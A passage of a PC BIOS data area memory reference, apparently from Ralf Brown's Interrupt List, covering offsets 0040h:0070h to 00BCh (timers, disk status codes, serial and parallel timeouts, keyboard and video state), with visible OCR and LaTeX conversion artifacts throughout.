MEM 0040h:0070h - TIMER OVERFLOW
Size: BYTE
Desc: non-zero if timer has counted past midnight since last call to INT 1A/AH=00h
Note: the original IBM BIOS, and thus most other BIOSes, sets this byte to 01 h at midnight; a few (such as the Eagle PC-2) increment it each time midnight is passed. The former behavior results in lost days if multiple midnights pass between "get-time" calls while the machine is powered up.
SeeAlso: MEM 0040h:006Ch,INT 1A/AH=00h
--------K-M00400071
MEM 0040h:0071h - Ctrl-Break FLAG
Size: BYTE
Desc: bit 7 is set when Ctrl-Break has been pressed
SeeAlso: INT 1B
----------M00400072
MEM 0040h:0072h - POST RESET FLAG
Size: WORD
Desc: specify the action the BIOS should take at the beginning of the power-on self-test when the machine is reset
SeeAlso: INT 19,MEM F000h:FFFOh
(Table M0021)
Values for POST reset flag:
0000h cold boot
0064h Burn-in mode
1234h to bypass memory test (warm boot)
4321h [PS/2 except Mod 25,30] to preserve memory
5678h [Conv] system suspended
9ABCh [Conv] manufacturing test mode
ABCDh [Conv] POST loop mode
--------B-M00400074
MEM 0040h:0074h - FIXED DISK LAST OPERATION STATUS (except ESDI drives)
Size: BYTE
SeeAlso: INT 13/AH=01h,INT 13h/AH=0Ah, MEM 0040h:0041h
(Table M0022)
Values for fixed disk last operation status:
00h no error
01h invalid function request
02h address mark not found
03h write protect error
04h sector not found
05h reset failed
06h diskette removed
07h drive parameter activity failed
08h DMA overrun
09h DMA data boundary error
OAh bad sector flag detected
OBh bad track detected
OCh requested diskette media type not found (PS/2 or extended BIOS only) unsupported track
ODh invalid number of sectors for Format
OEh control data address mark detected
OFh DMA arbitration level out of range
10h uncorrectable ECC or CRC error
11h ECC corrected data error
20h general controller failed
40h seek failed
80h time out
AAh drive not ready
BOh volume not locked in drive (INT 13 extensions)
B1h volume locked in drive (INT 13 extensions)
B2h volume not removable (INT 13 extensions)
B3h volume in use (INT 13 extensions)
B4h lock count exceeded (INT 13 extensions)
B5h valid eject request failed (INT 13 extensions)
BBh undefined error
CCh write fault on selected drive
EOh status error/error register is zero
FFh sense failed
SeeAlso: \#00234
--------d-M00400074
MEM 0040h:0074h - WD1002-27X SuperBIOS - TOTAL DRIVES, FIRST CONTROLLER ONLY
Size: BYTE
SeeAlso: MEM 0040h:0075h"SuperBIOS",MEM 0040h:0076h"SuperBIOS"
--------B-M00400075
MEM 0040h:0075h - FIXED DISK - NUMBER OF FIXED DISK DRIVES
Size: BYTE
SeeAlso: MEM 0040h:0076h"FIXED DISK",MEM 0040h:0077h"FIXED DISK"
--------d-M00400075
MEM 0040h:0075h - WD1002-27X SuperBIOS - TOTAL FIXED DRIVES, BOTH CONTROLLERS Size: BYTE

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SeeAlso: MEM 0040h:0074h"SuperBIOS",MEM 0040h:0076h"SuperBIOS"
--------B-M00400076
MEM 0040h:0076h - FIXED DISK - CONTROL BYTE \{IBM documented only for XT\}
Size: BYTE
Desc: loaded from the disk parameter table control byte (offset 8) during various hard disk operations
SeeAlso: MEM 0040h:0075h"FIXED DISK",MEM 0040h:0077h"FIXED DISK"
--------d-M00400076-
MEM 0040h:0076h - XT: hard disk controller's I/O address (Western Digital)
Size: BYTE
--------d-M00400076
MEM 0040h:0076h - WD1002-27X SuperBI OS - USED IN TRACK RECALCULATION Size: BYTE
SeeAlso: MEM 0040h:0074h"SuperBIOS",MEM 0040h:0075h"SuperBIOS"
SeeAlso: MEM 0040h:0077h"SuperBIOS"
--------B-M00400077
MEM 0040h:0077h - FIXED DISK - I/O port offset \{IBM documented only for XT\}
Size: BYTE
SeeAlso: MEM 0040h:0075h"FIXED DISK",MEM 0040h:0076h"FIXED DISK"
--------d-M00400077
MEM 0040h:0077h - WD1002-27X SuperBIOS - USED IN TRACK RECALCULATION Size: BYTE
SeeAlso: MEM 0040h:0076h"SuperBIOS"
--------B-M00400078
MEM 0040h:0078h - PARALLEL DEVICE 1 TIME-OUT COUNTER
Size: BYTE
Note: Under DR-OpenDOS 7.02+ this setting can be changed with the undocumented CONFIG.SYS LPT1=[port_address|logical_no][,[timeout]] directive, whereby port_address \(=200 \mathrm{~h} . .3 \mathrm{FCh}\), logical_no \(=0\) or \(1 . .3\), timeout \(=0 . .255\) (default 20).
SeeAlso: MEM 0040h:0079h,MEM 0040h:007Ah,INT 17/AH=00h
--------B-M00400079
MEM 0040h:0079h - PARALLEL DEVICE 2 TIME-OUT COUNTER
Size: BYTE
Note: Under DR-OpenDOS 7.02+ this setting can be changed with the undocumented CONFIG.SYS LPT2=[port_address|logical_no][,[timeout]] directive, whereby port_address \(=200 \mathrm{~h} . .3 \mathrm{FCh}\), logical_no \(=0\) or \(1 . .3\), timeout \(=0 . .255\) (default 20).
SeeAlso: MEM 0040h:0078h,MEM 0040h:007Ah,INT 17/AH=00h
--------B-M0040007A
MEM 0040h:007Ah - PARALLEL DEVICE 3 TIME-OUT COUNTER
Size: BYTE
Note: Under DR-OpenDOS 7.02+ this setting can be changed with the undocumented CONFIG.SYS LPT3=[port_address|logical_no][,[timeout]] directive, whereby port_address \(=200 \mathrm{~h} . .3 \mathrm{FCh}\), logical_no \(=0\) or \(1 . .3\), timeout=0.. 255 (default 20).
SeeAlso: MEM 0040h:0078h,MEM 0040h:0079h,MEM 0040h:007Bh"PARALLEL"
--------B-M0040007B

MEM 0040h:007Bh - PARALLEL DEVICE 4 TIME-OUT COUNTER (pre-PS, PS Models 25,30)
Size: BYTE
Note: Under DR-OpenDOS 7.02+ this setting can be changed with the undocumented CONFIG.SYS LPT4=(port_address|logical_no)[,[timeout]] directive, where port_address \(=200 \mathrm{~h} . . \overline{3} \mathrm{FCh}\), logical_no \(=0\) or \(1 . .3\), timeout \(=0 . .255\) (default 20). To avoid any interference with the PS/2 and later interpretation, this will be rejected if this entry does not hold 0 , which would indicate it is used for different purposes.
SeeAlso: MEM 0040h:0078h,MEM 0040h:007Ah,MEM 0040h:007Bh"INT 4Bh"
--------m-M0040007B
MEM 0040h:007Bh - INT 4Bh FLAGS (PS2 and newer)
Size: BYTE
SeeAlso: INT 4B/AX=8102h
Bitfields for INT 4Bh flags:
Bit(s) Description (Table M0023)
7-6 reserved
5 set if Virtual DMA Spec supported [PS] (see INT 4B)
4 reserved
3 set if INT 4Bh intercepted and must be chained
2 reserved
1 set if Generic SCSI CBIOS services available on INT 4Bh
0 reserved
--------B-M0040007C
MEM 0040h:007Ch - SERIAL DEVICE 1 TIMEOUT COUNTER
Size: BYTE
Note: Under DR-OpenDOS 7.02+ this setting can be changed with the undocumented CONFIG.SYS COM1=[port_address|logical_no][,[timeout]] directive, whereby port_address \(=200 \mathrm{~h} . .3 \mathrm{~F} 8 \mathrm{~h}\), logical_no \(=0\) or \(1 . .4\), timeout \(=0 . .255\) (default 1).
SeeAlso: MEM 0040h:0000h, MEM 0040h:007Dh, MEM 0040h:007Eh, MEM 0040h:007Fh
SeeAlso: INT 14/AH=01h
--------B-M0040007D
MEM 0040h:007Dh - SERIAL DEVICE 2 TIMEOUT COUNTER
Size: BYTE
Note: Under DR-OpenDOS 7.02+ this setting can be changed with the undocumented CONFIG.SYS COM2=[port_address|logical_no][,[timeout]] directive, whereby port_address \(=200 \mathrm{~h} . . \overline{3} 8 \mathrm{~h}\), logical_no \(=0\) or \(1 . .4\), timeout \(=0 . .255\) (default 1).
SeeAlso: MEM 0040h:0002h, MEM 0040h:007Ch,MEM 0040h:007Eh,MEM 0040h:007Fh
SeeAlso: INT 14/AH=01h
--------B-M0040007E-
MEM 0040h:007Eh - SERIAL DEVICE 3 TIMEOUT COUNTER
Size: BYTE
Note: Under DR-OpenDOS 7.02+ this setting can be changed with the undocumented CONFIG.SYS COM3=[port_address|logical_no][,[timeout]] directive, whereby port_address \(=200 \mathrm{~h} . .3 \mathrm{~F} 8 \mathrm{~h}\), logical_no \(=0\) or \(1 . .4\), timeout \(=0 . .255\) (default 1).

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SeeAlso: MEM 0040h:0004h,MEM 0040h:007Ch,MEM 0040h:007Dh,MEM 0040h:007Fh
SeeAlso: INT 14/AH=01h
--------B-M0040007F-
MEM 0040h:007Fh - SERIAL DEVICE 4 TIMEOUT COUNTER
Size: BYTE
Note: Under DR-OpenDOS 7.02+ this setting can be changed with the undocumented CONFIG.SYS COM4=[port_address|logical_no][,[timeout]] directive, whereby port_address \(=200 \mathrm{~h} . .3 \mathrm{~F} 8 \mathrm{~h}\), logical_no \(=0\) or \(1 . .4\), timeout=0.. 255 (default 1).
SeeAlso: MEM 0040h:0006h,MEM 0040h:007Ch,MEM 0040h:007Dh,MEM 0040h:007Eh
SeeAlso: INT 14/AH=01h
--------K-M00400080
MEM 0040h:0080h - KEYBOARD BUFFER START OFFSET FROM SEGMENT 40h (normally 1Eh)
Size: WORD
SeeAlso: MEM 0040h:001Ah,MEM 0040h:001Eh,MEM 0040h:0082h,INT 16/AH=05h
--------K-M00400082
MEM 0040h:0082h - KEYBOARD BUFFER END+1 OFFSET FROM SEGMENT 40h (normally 3Eh)
Size: WORD
Note: XT BIOS dated 11/08/82 ends here
SeeAlso: MEM 0040h:001Ch,MEM 0040h:003Eh,MEM 0040h:0080h,INT 16/AH=05h
--------V-M00400084
MEM 0040h:0084h - VIDEO (EGA/MCGA/VGA) - ROWS ON SCREEN MINUS ONE
Size: BYTE
SeeAlso: MEM 0040h:0085h,INT 10/AX=1100h
--------V-M00400085
MEM 0040h:0085h - VIDEO (EGA/MCGA/VGA) - CHARACTER HEIGHT IN SCAN-LINES
Size: WORD
SeeAlso: MEM 0040h:0084h,INT 10"LI RVGA19"
!!!
-------V-M00400087
MEM 0040h:0087h - VIDEO (EGA/VGA) CONTROL: [MCGA: =00h]
Size: BYTE
SeeAlso: MEM 0040h:0084h,MEM 0040h:0085h,MEM 0040h:0088h
Bitfields for EGA/VGA Video control flags:
Bit(s) Description (Table M0024)
7 do not to clear RAM on mode set (see INT 10h, AH=00h)
6-5 RAM on adapter \(=(\) this field +1\() * 64 \mathrm{~K}\)
4 reserved
3 EGA/VGA video system INactive
2 wait for display enable
1 mono monitor
0 alphanumeric cursor emulation DISabled
When enabled, text mode cursor size (INT 10,AH=01h) settings looking
like CGA ones are translated to equivalent EGA/VGA ones.
--------V-M00400088
MEM 0040h:0088h - VIDEO (EGA/VGA) SWITCHES: [MCGA: reserved]
Size: BYTE

SeeAlso: MEM 0040h:0087h,MEM 0040h:0089h
Bitfields for EGA/VGA Video switches:
Bit(s) Description (Table M0025)
7-4 power- on state of feature connector bits 3-0
3-0 configuration switches \(4-1\) ( \(=0\) on, \(=1\) off) ( see \#M0026)
Note: when bit 4 of 0040h:0089h is 0, VGA emulates 350 -line EGA if this byte is \(x 3 \mathrm{~h}\) or x 9 h , otherwise emulates 200 -line CGA in 400 -line double scan. VGA resets this byte to x 9 h after the mode set.
See also note for 0040h:0089h.
(Table M0026)
Values for EGA/VGA configuration switches:
00h Pri MDA,
Sec EGA+old color display \(40 \times 25\)
01h Pri MDA, Sec EGA+old color display \(80 \times 25\)
02h Pri MDA, Sec EGA+ECD normal mode (CGA emul)
03h Pri MDA, Sec EGA+ECD enhanced mode
04h Pri CGA \(40 \times 25\), Sec EGA mono display
05h Pri CGA \(80 \times 25\), Sec EGA mono display
06h Pri EGA+old color display \(40 \times 25\), Sec MDA
07h Pri EGA+old color display \(80 \times 25\), Sec MDA
08h Pri EGA+ECD normal mode (CGA emul), Sec MDA
09h Pri EGA+ECD enhanced mode, Sec MDA
OAh Pri EGA mono display, Sec CGA \(40 \times 25\)
OBh Pri EGA mono display, Sec CGA \(80 \times 25\)
SeeAlso: \#M0025
--------b-M00400088 \(\qquad\)
MEM 0040h:0088h - Olivetti EGA capabilities???
Size: BYTE???
Bitfields for Olivetti EGA capabilities flags:
Bit(s) Description (Table M0130)
\(7 \quad 640 \times 400\) mode related???
6 unknown
\(5 \quad 640 \times 400\) mode related???
4-0 unknown
Note: To decide if the \(640 \times 400\) mode is supported by an Olivetti EGA card (only the Olivetti EGA card 2 supports it), also check that bit 7 and 5 are set.
SeeAlso: C000h:0000h"Olivetti"
--------V-M00400089
MEM 0040h:0089h U - VIDEO (MCGA/VGA) - MODE-SET OPTION CONTROL
Size: BYTE
SeeAlso: MEM 0040h:0087h,MEM 0040h:0088h
Bitfields for Video mode-set option control:
Bit(s) Description (Table M0027)
7,4 requested scan lines

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\begin{tabular}{|c|c|}
\hline & 00 350-line mode requested \\
\hline & 01 400-line mode at next mode set \\
\hline & 10 200-line mode requested \\
\hline & 11 reserved \\
\hline & Note: Apparently VGA BIOS mode set disregards bit 7 and uses byte \(40 \mathrm{~h}: 88 \mathrm{~h}\) to determine 200/350 selection when bit 4 is zero. Presumably bit 7 is a convenience for other purposes. Bit 7 is reset to zero after the mode set. \\
\hline 6 & display switching enabled \\
\hline 5 & reserved \\
\hline 4 & if set: use 400-line mode at next mode set \\
\hline & if clear: [VGA] emulate EGA at next mode set \\
\hline & [MCGA] emulate CGA, digital monitor, 200 lines, \(8 \times 8\) text \\
\hline & Note: this bit is set by the video mode set on VGA, unchanged on MCGA \\
\hline 3 & default palette loading DISabled at mode set \\
\hline 2 & mono display \\
\hline 1 & gray scale summing enabled \\
\hline 0 & [VGA] \(=1\) if VGA active, \(=0\) if not \\
\hline & [MCGA] reserved, zero \\
\hline Note: & the Tseng ET4000 BIOS v3.00 uses bits 6-4 of 88 h and bits 6-5 of 89 h to specify graphics-mode refresh rates as follows \\
\hline & 88h/6 640x480: 1 for \(72 \mathrm{~Hz}, 0\) for 60 Hz \\
\hline & 88h/5+89h/6 800x600: 0060 Hz \\
\hline & 0156 Hz \\
\hline & 1172 Hz \\
\hline & 88h/4+89h/5 1024x768:00 interlaced \\
\hline & 0160 Hz \\
\hline & 10 72Hz??? \\
\hline & 1170 Hz \\
\hline ------ & V-M0040008A- \\
\hline MEM 0 & 40h: 008Ah U - VIDEO (MCGA/VGA) - INDEX INTO DISPLAY COMBINATION CODE TBL \\
\hline Size: & BYTE \\
\hline SeeAls & : INT 10/AX=1A00h, \#M0039 \\
\hline ------- & *-M0040008B- \\
\hline MEM 0 & 40h:008Bh - PC, PCjr, PC/XT 11/8/82, Convertible - RESERVED \\
\hline Size: & 11 BYTEs \\
\hline & B-M0040008B- \\
\hline MEM 0 & 40h:008Bh - DISKETTE MEDIA CONTROL \\
\hline Size: & BYTE \\
\hline Bitfield & for diskette media control: \\
\hline Bit(s) & Description (Table M0028) \\
\hline 7-6 & last data rate set by controller \\
\hline & \(00=500 \mathrm{kbps}, 01=300 \mathrm{kbps}, 10=250 \mathrm{kbps}, 11=1 \mathrm{Mbps}\) \\
\hline 5-4 & last diskette drive step rate selected \\
\hline & \(00=0 \mathrm{Ch}, 01=0 \mathrm{Dh}, 10=0 \mathrm{Eh}, 11=0 \mathrm{Ah}\) \\
\hline 3-2 & \{data rate at start of operation\} \\
\hline 1-0 & reserved \\
\hline
\end{tabular}
Note: EHD BIOS sets this byte to 01h and never reads it back --------B-M0040008C
MEM 0040h:008Ch - FIXED DISK - CONTROLLER STATUS [not XT]
Size: BYTE
SeeAlso: MEM 0040h:008Dh,MEM 0040h:008Eh
-------B-M0040008D
MEM 0040h: 008Dh - FIXED DISK - CONTROLLER ERROR STATUS [not XT]
Size: BYTE
SeeAlso: MEM 0040h: 008Ch,MEM 0040h:008Eh
-------B-M0040008E
MEM 0040h:008Eh - FIXED DISK - INTERRUPT CONTROL [not XT]
Size: BYTE
Note: cleared to 00h at start of disk operation, set to FFh by IRQ14 handler when hard disk controller completes command
SeeAlso: MEM 0040h: 008Ch, MEM 0040h: 008Dh,MEM 0040h: 008Fh
--------B-M0040008F
MEM 0040h: 008Fh U - DISKETTE CONTROLLER INFORMATION [not XT]
Size: BYTE
SeeAlso: MEM 0040h:008Ch,MEM 0040h:008Dh,MEM 0040h: 008Eh
Bitfields for diskette controller information:
Bit(s) Description (Table M0029)
7 reserved
6 =1 drive 1 determined
\(5 \quad=1\) drive 1 is multi-rate, valid if drive determined
\(4 \quad=1\) drive 1 supports 80 tracks, always valid
3 reserved
\(2=1\) drive 0 determined
\(1=1\) drive 0 is multi-rate, valid if drive determined
\(0 \quad=1\) drive 0 supports 80 tracks, always valid
Note: EHD BIOS sets this byte to 01h and never alters it again
--------B-M00400090 \(\qquad\)
MEM 0040h:0090h - DISKETTE DRIVE 0 MEDIA STATE
Size: BYTE
SeeAlso: MEM 0040h:0091h
Bitfields for diskette drive media state:
Bit(s) Description (Table M0030)
7-6 data rate
\(00=500 \mathrm{kbps}, 01=300 \mathrm{kbps}, 10=250 \mathrm{kbps}, 11=1 \mathrm{Mbps}\)
5 double stepping required (e.g. 360kB in 1.2MB)
4 media type established
3 drive capable of supporting 4MB media
2-0 on exit from BIOS, contains
000 trying 360 kB in 360 kB
001 trying 360 kB in 1.2 MB
010 trying 1.2MB in 1.2MB
011 360kB in 360kB established

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    100 360kB in 1.2MB established
    101 1.2MB in 1.2MB established
    110 reserved
    1 1 1 ~ a l l ~ o t h e r ~ f o r m a t s / d r i v e s
    SeeAlso: \#M0031,\#M0032
--------B-M00400091
MEM 0040h:0091h - DISKETTE DRIVE 1 MEDIA STATE
Size: BYTE
SeeAlso: MEM 0040h:0090h,\#M0030
--------B-M00400092-
MEM 0040h:0092h U - DISKETTE DRIVE O MEDIA STATE AT START OF OPERATION
Size: BYTE
Note: officially "Drive 2 media state"
SeeAlso: MEM 0040h:0093h"DRIVE 1"
Bitfields for diskette drive 0 media state at start of operation:
Bit(s) Description (Table M0031)
7-3 (see \#M0030)
2 multiple data rate capability determined
1 multiple data rate capability
0 =1 if drive has }80\mathrm{ tracks, =0 if 40 tracks
SeeAlso: \#M0030,\#M0032
--------d-M00400092
MEM 0040h:0092h - Olivetti Quaderno - HARD DISK POWERDOWN COUNTDOWN CLOCK
TICKS
Size: BYTE
Note: hard disk is turned off when counter reaches zero
--------B-M00400093
MEM 0040h:0093h U - DISKETTE DRIVE 1 MEDIA STATE AT START OF OPERATION
Size: BYTE
Note: officially "Drive 3 media state"
SeeAlso: MEM 0040h:0092h"DRIVE 0"
Bitfields for diskette drive 1 media state at start of operation:
Bit(s) Description (Table M0032)
7-3 (see \#M0030)
2 multiple data rate capability determined
1 multiple data rate capability
0 =1 if drive has }80\mathrm{ tracks, =0 if 40 tracks
--HP 100LX/200LX--
display control status
0 =1 if DISPCTL -K
1 =1 if DISPCTL -C
--------B-M00400094
MEM 0040h:0094h - DISKETTE DRIVE 0 CURRENT TRACK NUMBER
Size: BYTE
SeeAlso: MEM 0040h:0095h
--------B-M00400095---------------------------

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MEM 0040h:0095h - DISKETTE DRIVE 1 CURRENT TRACK NUMBER
Size: BYTE
SeeAlso: MEM 0040h:0094h
--------K-M00400096
MEM 0040h:0096h - KEYBOARD STATUS BYTE 1
Size: BYTE
SeeAlso: MEM 0040h:0097h,INT 16/AH=11h
Bitfields for keyboard status byte 1:
Bit(s) Description (Table M0033)
7 =1 read-ID in progress
6 =1 last code read was first of two ID codes
5 =1 force Num Lock if read-ID and enhanced keyboard
4 =1 enhanced keyboard installed
3 =1 Right Alt pressed
2 =1 Right Ctrl pressed
1 =1 last code read was EOh
0 =1 last code read was E1h
SeeAlso: \#M0034,\#M0010
--------K-M00400097
MEM 0040h:0097h - KEYBOARD STATUS BYTE 2
Size: BYTE
SeeAlso: MEM 0040h:0096h,INT 16/AH=11h
Bitfields for keyboard status byte 2:
Bit(s) Description (Table M0034)
7 =1 keyboard transmit error flag
6 =1 LED update in progress
5 =1 RESEND received from keyboard
4 =1 ACK received from keyboard
3 reserved, must be zero
2 Caps Lock LED
1 Num Lock LED
0 Scroll Lock LED
SeeAlso: \#M0033,\#M0010
--------B-M00400098
MEM 0040h:0098h - TIMER2 (AT, PS exc Mod 30) - PTR TO USER WAIT-COMPLETE FLAG
Size: DWORD
Note: (see INT 15/AX=8300h)
SeeAlso: MEM 0040h:009Ch,INT 15/AH=83h,INT 15/AH=86h
--------B-M0040009C
MEM 0040h:009Ch - TIMER2 (AT, PS exc Mod 30) - USER WAIT COUNT IN MICROSECONDS
Size: DWORD
SeeAlso: MEM 0040h:0098h,MEM 0040h:00AOh,INT 15/AH=83h,INT 15/AH=86h
--------V-M0040009F
MEM 0040h:009Fh - HP 100LX/200LX - VIDEO ZOOM MODE
Size: BYTE

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(Table M0035)
Values for HP 100LX/200LX video zoom mode:
02h \(80 \times 25\) mono
03h \(80 \times 25\) color
80h 64x18 mono
81h \(64 \times 18\) color
82h \(40 \times 25\) mono
83h 40x25 color
84h 40x16 mono
85h 40x16 color
SeeAlso: INT 10/AH=DOh
--------B-M004000A0---------------------------
MEM 0040h:00AOh - TIMER2 (AT, PS exc Mod 30) - WAIT ACTIVE FLAG
Size: BYTE
SeeAlso: MEM 0040h:009Ch,INT 15/AH=83h,INT 15/AH=86h
Bitfields for Timer2 wait active flag:
Bit(s) Description (Table M0036)
7 wait time elapsed
6-1 reserved
0 INT 15/AH=86h has occurred
--------N-M004000A1
MEM 0040h:00A1h - BIT 5 SET IF LAN SUPPORT PROGRAM INTERRUPT ARBITRATOR PRESENT
Size: BYTE
Note: DEVICE=DXMAOMOD.SYS
--------N-M004000A2----------------------------
MEM 0040h:00A2h - RESERVED FOR NETWORK ADAPTERS
Size: 6 BYTEs
--------d-M004000A4 \(\qquad\)
MEM 0040h:00A4h - PS/2 Mod 30 - SAVED FIXED DISK INTERRUPT VECTOR
Size: DWORD
--------V-M004000A8 \(\qquad\)
MEM 0040h:00A8h - VIDEO (EGA/MCGA/VGA) - POINTER TO VIDEO SAVE POINTER TABLE
Size: DWORD
SeeAlso: INT 10/AH=1Ch
Format of Video Save Pointer Table [EGA/VGA/MCGA only]:
Offset Size Description (Table M0037)
00h DWORD ptr to Video Parameter Table
04h DWORD ptr to Parameter Dynamic Save Area, else 0 [EGA/VGA only]
08h DWORD ptr to Alphanumeric Character Set Override, else 0
OCh DWORD ptr to Graphics Character Set Override, else 0
10h DWORD [VGA only] ptr to Secondary Save Pointer Table, must be valid
14h DWORD reserved, zero
18h DWORD reserved, zero
Note: table initially in ROM, copy to RAM to alter, then update 40h: A8h.
Format of Secondary Video Save Pointer Table [VGA only]:


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Note: An array of 23 [EGA] or 29 [VGA] elements, each element being 64 bytes long. Elements appear in the above order.

Format of Video Parameter Table element [EGA, VGA only]:
Offset Size Description (Table M0042)
00h BYTE Columns on screen (see 40h:4Ah)
01h BYTE Rows on screen minus one (see 40h:84h)
02h BYTE Height of character in scan lines (see 40h: 85h)
03h WORD Size of video buffer (see 40h:4Ch)
05h 4 BYTEs Values for Sequencer Registers 1-4
09h BYTE Value for Miscellaneous Output Register
OAh 25 BYTEs Values for CRTC Registers 00h-18h
23h 20 BYTEs Values for Attribute Controller Registers 00h-13h
37h 9 BYTEs Values for Graphics Controller Registers 00h-08h
Format of Video Parameter Table [MCGA only] \{guesswork from inspection\}:
Offset Size Description (Table M0043)
- 16 triplet BYTEs of R,G,B DAC info for 16 colors;
- An array of 11 elements, each element being 32 bytes long.

Elements appear in the order:
Modes 00h,01h in 200-line mode for digital displays
Modes 00h,01h in 400-line mode for analog displays
Modes 02h,03h in 200-line mode for digital displays
Modes \(02 \mathrm{~h}, 03 \mathrm{~h}\) in 400 -line mode for analog displays
Modes 04h,05h in 200-line mode for digital displays
Modes \(04 \mathrm{~h}, 05 \mathrm{~h}\) in 400 -line mode for analog displays
Mode 06h in 200-line mode for digital displays
Mode 06h in 400-line mode for analog displays
Mode 11h
Mode 13 h in 200 -line mode for digital displays
Mode 13 h in 400 -line mode for analog displays
Format of Video Parameter Table element [MCGA only]:
Offset Size Description (Table M0044)
00h BYTE Columns on screen (see 40h:4Ah)
01h BYTE Rows on screen minus one (see 40h:84h)
02h BYTE Height of character in scan lines (see 40h: 85h)
03h WORD Size of video buffer (see 40h:4Ch)
05h WORD ??? always zero
07h 21 BYTEs Video data registers 00h-14h to port 3D5h indexed by 3D4h
1Ch BYTE PEL Mask to port 3C6h
1Dh BYTE CGA Mode Control to port 3D8h
1Eh BYTE CGA Border Control to port 3D9h
1Fh BYTE Extended Mode Control to port 3DDh
Format of Video Parameter Dynamic Save Area [EGA, VGA only]:
Offset Size Description (Table M0045)
00h 16 BYTEs Last data written to Attribute Contr. Palette Registers 0-15
\begin{tabular}{|c|c|c|}
\hline \[
\begin{aligned}
& 10 \mathrm{~h} \\
& 11 \mathrm{~h}-\mathrm{FF}
\end{aligned}
\] & \[
\begin{aligned}
& \text { BYTE } \\
& = \\
& =
\end{aligned}
\] & \begin{tabular}{l}
Last data written to Attribute Controller Overscan Register Reserved \\
Note: Need for table was that EGA registers were write-only. \\
Note: If default values (from the Video Parameter Table) are over-ridden at a mode set by the VGA User Palette Profile Table, then the Dynamic Save Area is updated with the default values, not the User Profile ones.
\end{tabular} \\
\hline \multicolumn{3}{|l|}{Format of Alphanumeric Character Set Override:} \\
\hline Offset & Size & Description (Table M0046) \\
\hline 00h & BYTE & Length in bytes of each character in font table \\
\hline 01h & BYTE & Character generator RAM bank to load, \(0=\) normal \\
\hline 02h & WORD & Number of characters in font table, normally 256 \\
\hline 04h & WORD & Code of first character in font table, normally 0 \\
\hline 06h & DWORD & D ptr to font table \\
\hline OAh & BYTE & Displayable rows (FFh=use maximum calculated value) \\
\hline OBh & BYTEs BYTE & Array of mode values to which this font is to pertain FFh end of array \\
\hline \multicolumn{3}{|l|}{Format of Second Alphanumeric Character Set Override:} \\
\hline Offset & Size & Description (Table M0047) \\
\hline 00h & BYTE & Length in bytes of each character in font table \\
\hline 01h & BYTE & Character generator RAM bank to load, normally non-zero \\
\hline 02h & BYTE & reserved \\
\hline 03h & DWORD & D ptr to font table \\
\hline 07h & BYTEs BYTE & Array of mode values to which this font is to pertain FFh end of array \\
\hline Note: & Authorit says it & ties differ, some say same as first override above, but IBM \(t\) is as shown above \\
\hline \multicolumn{3}{|l|}{Format of Graphics Character Set Override:} \\
\hline Offset & Size & Description (Table M0048) \\
\hline 00h & BYTE & Number of displayable character rows \\
\hline 01h & WORD & Length in bytes of each character in font table \\
\hline 03h & DWORD & Dtr to font table \\
\hline 07h & \begin{tabular}{l}
BYTEs \\
BYTE
\end{tabular} & Array of mode values to which this font is to pertain FFh end of array \\
\hline \multicolumn{3}{|l|}{Format of User Palette Profile Table [VGA only]:} \\
\hline Offset & Size & Description (Table M0049) \\
\hline 00h & BYTE & Underlining: \(01 \mathrm{~h}=\) enable in all alphanumeric modes \(00 \mathrm{~h}=\) enable in monochrome alphanumeric modes only FFh=disable in all alphanumeric modes \\
\hline 01h & BYTE & reserved \\
\hline 02h & WORD & reserved \\
\hline 04h & WORD & Number (0-17) of Attribute Controller registers in table \\
\hline 06h & WORD & Index (0-16) of first Attribute Controller register in table \\
\hline 08h & DWORD & ( ptr to table of Attribute Controller registers to override \\
\hline
\end{tabular}

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Table is an array of BYTEs.
OCh WORD Number (0-256) of video DAC Color registers in table
OEh WORD Index (0-255) of first video DAC Color register in table
10h DWORD ptr to table of video DAC Color registers to override
Table is ??? triplets ??? of BYTEs???
14 h BYTEs array of mode values to which this profile is to pertain BYTE FFh end of array
--------*-M004000AC \(\qquad\)
MEM 0040h:00ACh - RESERVED
Size: 4 BYTEs
--------b-M004000B0 \(\qquad\)
MEM 0040h:00BOh - Phoenix 386 BIOS 1.10 10a - LOOP COUNT FOR HARD DISK TIMEOUT Size: BYTE
Desc: number of times a tight software delay loop should be executed to generate the sub-55ms delays used internally by the BIOS
Note: also used for delaying when beeping due to full keyboard buffer
SeeAlso: MEM 0040h: 00ECh"Dell",INT 15/AH=BCh
--------d-M004000B0
MEM 0040h:00BOh - PTR TO 3363 OPTICAL DISK DRIVER OR BIOS ENTRY POINT
Size: DWORD
Notes: When 3363 BIOS present, the ASCIZ signature "OPTIC "occurs 3 bytes beyond this entry point When 3363 BIOS and 3363 File System Driver present, the ASCIZ signature "FILE SYSTEM DRIVER" occurs 3 bytes beyond this entry point
\(\qquad\)
MEM 0040h:00BOh - 1988 Phoenix 386 BIOS 1.1003 - PARAMS FOR TYPE 48 HARD DISK
Size: 16 BYTEs
SeeAlso: INT 41,INT 46,MEM 0040h:00COh"HARD DISK"
--------*-M004000B4------------------------------
MEM 0040h:00B4h - RESERVED
Size: WORD
--------b-M004000B5 \(\qquad\)
MEM 0040h:00B5h - Dell 4xxDE
Size: BYTE
Bitfields for Dell 4xxDE flags:
Bit(s) Description (Table M0050)
2 ??? (related to disk drives)
5 page tables set to allow Weitek addressing in real mode
6 Weitek math coprocessor present
--------b-M004000B5
MEM 0040h:00B5h - Tandy BIOS DATA FLAGS
Size: BYTE
SeeAlso: MEM F000h: C000h
Bitfields for Tandy BIOS data flags:
Bit(s) Description (Table M0131)
0 set if drive A: is 720 Kb

1 set if drive B: is 720 Kb
2-7 unknown
Note: Before checking these bits, the Tandy ROM BIOS ID byte at F000h: C000h should be verified to be equal to 21 h .

MEM 0040h:00E5h - Gigabyte AWARD v4.51PG - ASSOC DRIVE NUMS TO PHYS INTERFACES
Size: BYTE
SeeAlso: MEM 0040h:00E5h"AWARD"
Bitfields for drive number/interface mapping:
Bit(s) Description (Table M0129)
7-6 interface for drive 83h (F:)
00 primary master
01 primary slave
10 secondary master
11 secondary slave
5-4 interface for drive 82h (as for bits 7-6)
3-2 interface for drive 81h (as for bits 7-6)
1-0 interface for drive 80h (C:) (as for bits 7-6)
SeeAlso: \#M0128
----------M004000B6---------------------------
MEM 0040h:00B6h - RESERVED FOR POST???
Size: 3 BYTEs
----------M004000B9
MEM 0040h:00B9h - ???
Size: 7 BYTEs
--------b-M004000BC
MEM 0040h:00BCh - 1993 Phoenix 486 BIOS 1.03 PCI - CPU TYPE/MASK REVISION
Size: WORD
Desc: the high byte contains the CPU type, the low byte the mask revision (stepping level), as reported to the BIOS in DX by the CPU at startup
SeeAlso: INT 15/AH=C9h
